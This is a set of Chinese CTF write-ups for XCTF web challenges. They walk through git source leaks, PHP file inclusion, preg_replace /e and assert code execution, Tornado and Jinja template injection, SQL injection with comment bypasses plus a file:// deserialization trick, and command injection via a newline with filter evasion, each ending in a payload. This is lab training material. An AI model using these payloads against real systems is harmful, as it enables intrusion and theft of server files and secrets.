目录
我之前向平台反馈的放在系数1的very_easy_sql被调到了系数3,wp我就懒得搬过来了,想看的可以去看更新的web系数1的part2部分。
0099 lottery
题目:XCTF 4th-QCTF-2018
解答:访问robots.txt,发现git源码泄露。
用githack跑一下,获取源码。题目也给了附件,我没有再下,应该是源码。
注册登录,给了20,flag需要9990000。
buy页面是输入彩票号码。
游戏规则是:
在api.php中发现是获取随机数。
在buy方法中发现,每个数字都是弱比较。可以用true绕过判断。
burp抓包,将随机填入的数字改为[true,true,true,true,true,true,true],一直赌,直到最后达到flag 的钱。
最后就去买flag啦~
0332 ics-05
题目:XCTF-4th-CyberEarth
其他破坏者会利用工控云管理系统设备维护中心的后门入侵系统
解答:设备维护中心可以打开。
在界面能点的地方又点了点,点击“云平台设备维护中心”出现?page=index
,存在文件包含。
尝试一下:?page=php://filter/read=convert.base64-encode/resource=index.php
出现index.php源码。
查看源码,发现注入点。preg_replace这里可以自己输入正则匹配,那么就可以利用/e来执行php语句了。
/e
修正符使 preg_replace() 将 replacement 参数当作 PHP 代码。
首先设置X_FORWARDED_FOR
为127.0.0.1。然后开始传参:
?pat=/test/e&rep=system("find / -name flag")&sub=test
获取flag:?pat=/test/e&rep=system('tac s3chahahaDir/flag/flag.php')&sub=test
0415 mfw
题目:csaw-ctf-2016-quals
解答:git源码泄露,发现flag.php也在templates目录下。
查看一下index.php源码,输入的内容是直接拼接到路径的。
assert中都是用单引号拼接的代码,所以前后用单引号闭合语句,然后把要执行的代码放在中间,用点连接就可以。(用点连接是必须的哟,因为拼接所以才能执行代码~)
其中的逻辑就是,先执行代码,然后代码执行返回的结果会拼接到字符串中,作为strpos的参数。
(这里不确定的话,可以本地看一下传递进去的内容,如下图先执行了system,然后再执行var_dump)
payload:?page='.system("cat ./templates/flag.php").'
可以看到,执行了两次输出,因为两个assert都执行了。
0480 simple_js
解答:打开就让输入密码,直接ctrl+u查看一下源码:
这里可以先不看逻辑,直接把那些数据输出一下,看不能直接获取flag。放到控制台就可以获取内容。
ascii转字符:786OsErtk12,flag就是这个:cyberpeace{786OsErtk12}
最后再来顺一下代码的逻辑,代码很繁琐,把其中的内容整理一下:
可以看到无论输入什么内容,结果都是一样的,输入内容并不影响,所以真正的pass是后面的数据。
function dechiffre(){
var pass = "70,65,85,88,32,80,65,83,83,87,79,82,68,32,72,65,72,65";
var tab2 = pass.split(',');
var i,n,p = "";
n = tab2.length;
for(i = 0; i < n; i++ ){
p += String.fromCharCode(tab2[i]);
}
p += String.fromCharCode(tab2[17]);
return p;
}
所以把pass内容替换一下,放到控制台执行就能获取flag。
function dechiffre(){
var pass ="55,56,54,79,115,69,114,116,107,49,50";
var tab2 = pass.split(',');
var i,n,p = "";
n = tab2.length;
for(i = 0; i < n; i++ ){
p += String.fromCharCode(tab2[i]);
}
p += String.fromCharCode(tab2[17]);
return p;
}
0723 easytornado
解答:标题tornada,涉及到模板。页面显示是三个地址:告诉了flag的位置。
看下url地址,根据上面的hints可推断内容组成是:/file?filename=/flag.txt&filehash=(cookie_secret+md5(/flag.txt))
url测试的时候,显示error界面:
输入{{2*6}}测试返回ORZ,测试一下{{9}},返回9,存在模板注入。但应该是过滤了算术运算。
利用handler.settings获得Tornado的cookie。
{{handler.settings}}
接下来就是按照上面的逻辑读取flag了。
payload:/file?filename=/fllllllllllllag&filehash=a0f183785cb3958b212e306c6cee7418
0724 shrine
题目:TokyoWerterns CTF
解答:提供了源码。
import flask
import os
app = flask.Flask(__name__)
app.config['FLAG'] = os.environ.pop('FLAG')
#讲FLAG从系统环境变量中pop出来,赋值给设置config中。
@app.route('/')
def index():
return open(__file__).read()
@app.route('/shrine/<path:shrine>')#path是可控的,所以可以模板注入
def shrine(shrine):
def safe_jinja(s):
s = s.replace('(', '').replace(')', '')#括号置空
blacklist = ['config', 'self']
return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s
return flask.render_template_string(safe_jinja(shrine))
if __name__ == '__main__':
app.run(debug=True)
render_template_string()
pop() 函数用于移除列表中的一个元素,并且返回该元素的值。
根据代码可知,/shrine/下存在模板注入,增加了一些waf,小括号会被置空,还有黑名单config和self。
为便于理解return的内容,这里举个例子:
如果我们输入的内容是url/shrine/{{7+7}}
那么return的内容就是:{{% set config=None%}}{{% set self=None%}}{{7+7}}
。
set config=None
就是如果直接传入{{config}}
,会将其内容置空,所以直接访问app的config是获取不到flag的,同样{{self.__dict__}}
也读不到。
同时因为FLAG从系统环境变量中pop出来了,所以通过下面的environ也不行。
{{[].__class__.__base__.__subclasses__()[68].__init__.__globals__['os'].__dict__.environ['FLAG]}}
那么config的不能直接用,那么可以用内置函数来获取config。
payload:{{url_for.__globals__['current_app'].config['FLAG']}}
其他payload:
{{get_flashed_messages.__globals__['current_app'].config.FLAG}}
0726 fakebook
题目:网鼎杯 2018
解答:界面有登录和join,join的时候提示blog is not valid。有点无解了,那么考虑一下扫目录。
robots.txt看到user.php的备份。
查看user.php.bak知道了博客要求的格式。
那么再按照要求的格式join成功。
点击名字跳转页面,发现url有可以注入的点,数字型注入,有报错,也可以选择报错注入,0x被过滤了。
本题里,union select
被过滤了,但是可以用union\**\select
绕过。
确定回显位置是2:0 union select 1,2,3,4#
方法一:常规注入
# fakebook
0 union/**/select 1,database(),3,4#
# users
0 union/**/select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=database()#
# no,username,passwd,data
0 union/**/select 1,group_concat(column_name),3,4 from information_schema.columns where table_schema=database() and table_name='users'#
0 union/**/select 1,data,3,4 from users#
可以看到data的内容是反序列化的内容。
由于直接join环节不能直接写file读取,那么可以在这里将序列化的内容放入。
union select联合查询时,要求前后列数一致,相对应的列类型也一致,返回的是结果的并集。
因为前面我们给的no值是0,所以前面没有查询结果,后面的查询4个位置分别对应no,username,passwd,data。
data的格式要求是序列化后的结果,其中blog内容也会显示到页面。那么我们把我们想要的输入的内容按照data的序列化格式,放到4的位置,服务器经过反序列化处理后,会将结果返回到页面上。
这也就是为什么之前的截图中age和blog的位置都报错的原因,因为他们都是从序列化数据中进行反序列化后提取的。
(flag.php可以通过扫目录出来)
0 union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:2:"ad";s:3:"age";i:1;s:4:"blog";s:29:"file:///var/www/html/flag.php";} '#
查看源码可以看到flag.php的内容:
base64解码获取flag。
方法二:直接读取,然后查看源码获取flag。
0 union/**/select 1,load_file('/var/www/html/flag.php'),3,4#
0735 favorite_number
题目:
解答:
第一个if条件要求既要强等于array,又要stuff[0]不为admin。
那么可以考虑数组的key溢出。
PHP数组的key溢出问题
题目告诉了是php5,2147483647是它临界值,再加1就变成负数了。[4294967296]->[0]
,[4294967297]->[1]
。这里我也本地测试了一下。
(如果是php7的话,9223372036854775807是临界值,[18446744073709551614]->[0]
,但是[1]就不是直接加1了,后面的数据就不太对应了,增加一定数值后返回的都还是[0],变化的跨度也有点奇怪,其中的逻辑有时间再研究吧。)
那么第一个if条件就可以绕过了:stuff[4294967296]=admin&stuff[1]=user
第二个if条件要求输入的内容是数字,由于正则匹配中^abc$
只匹配单行,所以可以用%0a换行绕过。
第三个if条件,暂且不提,先开始执行命令:
stuff[4294967296]=admin&stuff[1]=user&num=123%0als -i /
这里抓包吧,我用hackbar,把%0a又给编码了,导致不出结果了。
我们要获取flag。这里再继续看第三个if条件:读取命令有很多,很好绕过,用tac就可以。
flag模糊匹配不行了,但可以字符拼接,aa=ag;b=/fl;tac $b$a
。
payload:stuff[4294967296]=admin&stuff[1]=user&num=123%0aa=ag;b=/fl;tac%20$b$a